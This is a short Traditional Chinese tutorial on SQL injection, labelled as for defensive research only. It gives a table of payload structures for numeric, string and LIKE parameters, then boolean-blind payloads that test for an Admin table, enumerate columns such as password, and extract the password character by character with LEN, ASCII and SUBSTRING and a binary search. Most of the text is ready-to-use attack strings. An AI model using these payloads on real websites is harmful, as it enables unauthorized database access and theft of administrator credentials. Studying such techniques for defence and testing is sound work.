本文系統說明 SQL 注入的標準化流程:判斷環境 → 依參數類型重構 SQL → 猜解表名/欄位 → ASCII 逐字解碼提取資料,建立完整攻擊模型 (僅供防禦研究)。
| 參數範例 | 類型 | 原始 SQL 模樣 | 注入 Payload 結構 |
|---|---|---|---|
id=49 | 數字 | SELECT * FROM t WHERE col = 49 | id=49 AND [條件] |
class=連續劇 | 字串 | SELECT * FROM t WHERE col = '連續劇' | class=連續劇' AND [條件] AND ''=' |
keyword=關鍵字 | 搜尋 (LIKE) | SELECT * FROM t WHERE col LIKE '%關鍵字%' | keyword=' AND [條件] AND '%'=' |
**核心原則**:注入後的 SQL 必須語法合法、邏輯恆真 (或可控真假),才能觀察頁面差異判斷條件成立與否。
-- 假設參數 id=49 (數字型)
id=49 AND (SELECT COUNT(*) FROM Admin) >= 0
-- 頁面與 id=49 相同 → 表 Admin 存在
-- 否則 → 不存在
-- 遍歷字典/系統表逐一嘗試
-- 表名已知為 Admin
id=49 AND (SELECT COUNT(username) FROM Admin) >= 0
-- 同理遍歷常見欄位名:id, name, pwd, password, pass, email...
-- 步驟 1:確認欄位長度
id=49 AND (SELECT TOP 1 LEN(password) FROM Admin) > 8 -- 二分法找長度
-- 步驟 2:逐字元猜測 ASCII
id=49 AND (SELECT TOP 1 ASCII(SUBSTRING(password,1,1)) FROM Admin) > 64
-- >64? >96? >112? ... 二分法鎖定第 1 字元
-- 依序處理第 2, 3, 4... 字元
CAST/CONVERT 錯誤回顯一次取整串 (高階篇介紹)